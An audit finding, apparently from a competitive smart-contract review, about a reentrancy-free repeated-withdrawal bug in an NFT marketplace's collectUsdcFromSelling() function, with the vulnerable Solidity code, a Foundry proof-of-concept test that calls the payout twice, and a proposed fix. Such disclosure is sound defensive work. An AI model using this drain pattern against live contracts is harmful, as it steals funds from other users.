NFT Dealers
First Flight #58
Beginner FriendlyFoundry
100 EXP
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: high

Seller Can Drain Contract With Repeated Calls

Author Revealed upon completion

Seller Can Drain Contract With Repeated Calls

Description

collectUsdcFromSelling() transfers listing.price - fees + collateral USDC to the seller on every call, but never updates any state to mark the payout as completed. collateralForMinting[tokenId] is not zeroed, no "collected" flag is set, and s_listings is not modified. The only gate is require(!listing.isActive), which is permanently false after a sale or cancellation and never changes back. A seller can call the function an unlimited number of times and receive the full payout on each call, draining the contract's USDC balance.

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
// @> isActive is permanently false after sale/cancel — this gate never re-arms
require(!listing.isActive, "Listing must be inactive to collect USDC");
​
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
// @> collateralForMinting is read but NEVER zeroed here
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
​
// @> totalFeesCollected inflated on every repeated call
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees); // no-op self-transfer
// @> same amount paid out on every call — no guard prevents repetition
usdc.safeTransfer(msg.sender, amountToSeller);
// @> missing: collateralForMinting[listing.tokenId] = 0;
// @> missing: some "collected" flag or s_listings state update
}

Each repeated call also increments totalFeesCollected by fees, inflating the tracked fee balance beyond the USDC actually present in the contract. When the owner later calls withdrawFees(), the transfer may revert or silently drain funds belonging to other sellers.

Risk

Likelihood: High

  • The function is callable by any seller who has a completed or cancelled listing — no special conditions required beyond the listing being inactive.

  • The repeated-call path requires no exploit tooling; a simple loop of calls is sufficient.

Impact: High

  • The entire USDC balance of the contract can be drained by a single seller in a single transaction via repeated calls.

  • totalFeesCollected is inflated, causing withdrawFees() to over-draw — owner fee withdrawals fail or steal funds from other pending sellers.

  • Every other seller and buyer with funds locked in the contract loses their funds.

Proof of Concept

function test_CollectUsdcFromSelling_UnlimitedDrain() public {
// Initialize test
vm.startBroadcast(owner);
nftDealers.whitelistWallet(seller);
nftDealers.revealCollection();
vm.stopBroadcast();
​
// Assert state after initialization
assertEq(nftDealers.whitelistedUsers(seller), true);
assertEq(nftDealers.isCollectionRevealed(), true);
​
// Mint
vm.startBroadcast(seller);
usdc.approve(address(nftDealers), USDC_COLLATERAL);
nftDealers.mintNft();
vm.stopBroadcast();
​
// Assert state after mint
uint256 tokenId = 1;
assertEq(nftDealers.ownerOf(tokenId), seller);
assertEq(nftDealers.collateralForMinting(tokenId), USDC_COLLATERAL);
assertEq(usdc.balanceOf(address(nftDealers)), INITIAL_USER_BALANCE + USDC_COLLATERAL);
assertEq(usdc.balanceOf(seller), INITIAL_USER_BALANCE - USDC_COLLATERAL);
​
// List NFT
uint32 sellingPrice = 40e6;
vm.prank(seller);
nftDealers.list(tokenId, sellingPrice);
​
// Assert state after list
(address _seller, uint32 _price, address _nft, uint256 _tokenId, bool _isActive) =
nftDealers.s_listings(tokenId);
assertEq(_seller, seller);
assertEq(_price, sellingPrice);
assertEq(_nft, address(nftDealers));
assertEq(_tokenId, tokenId);
assertEq(_isActive, true);
assertEq(nftDealers.ownerOf(tokenId), seller);
​
// Cancel listing
vm.prank(seller);
nftDealers.cancelListing(tokenId);
​
// Assert state after cancelling listing
(_seller, _price, _nft, _tokenId, _isActive) = nftDealers.s_listings(tokenId);
assertEq(_seller, seller);
assertEq(_price, sellingPrice);
assertEq(_nft, address(nftDealers));
assertEq(_tokenId, tokenId);
assertEq(_isActive, false);
assertEq(nftDealers.ownerOf(tokenId), seller);
// Collateral returned back to seller
assertEq(usdc.balanceOf(address(nftDealers)), INITIAL_USER_BALANCE);
assertEq(usdc.balanceOf(seller), INITIAL_USER_BALANCE);
​
// Collect fees - Attempt #1
vm.prank(seller);
nftDealers.collectUsdcFromSelling(tokenId);
​
// Assert state after fee collection
uint256 expectedFee = nftDealers.calculateFees(sellingPrice);
uint256 expectedProtocolBalanceUSDC = INITIAL_USER_BALANCE - sellingPrice + expectedFee;
uint256 expectedSellerBalanceUSDC = INITIAL_USER_BALANCE + sellingPrice - expectedFee;
assertEq(nftDealers.ownerOf(tokenId), seller);
assertEq(usdc.balanceOf(address(nftDealers)), expectedProtocolBalanceUSDC);
assertEq(usdc.balanceOf(seller), expectedSellerBalanceUSDC);
​
// Collect fees - Attempt #2
vm.prank(seller);
nftDealers.collectUsdcFromSelling(tokenId);
​
// Assert state after fee collection
assertEq(nftDealers.ownerOf(tokenId), seller);
assertLt(usdc.balanceOf(address(nftDealers)), expectedProtocolBalanceUSDC);
assertGt(usdc.balanceOf(seller), expectedSellerBalanceUSDC);
​
// Keep repeating until drain completely
}

Recommended Mitigation

Zero out collateralForMinting and mark the listing as collected inside collectUsdcFromSelling() to prevent repeated payouts.

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
+ require(collateralForMinting[listing.tokenId] > 0 || listing.price > 0, "Already collected");
​
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
​
+ collateralForMinting[listing.tokenId] = 0;
+ s_listings[_listingId].price = 0;
​
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!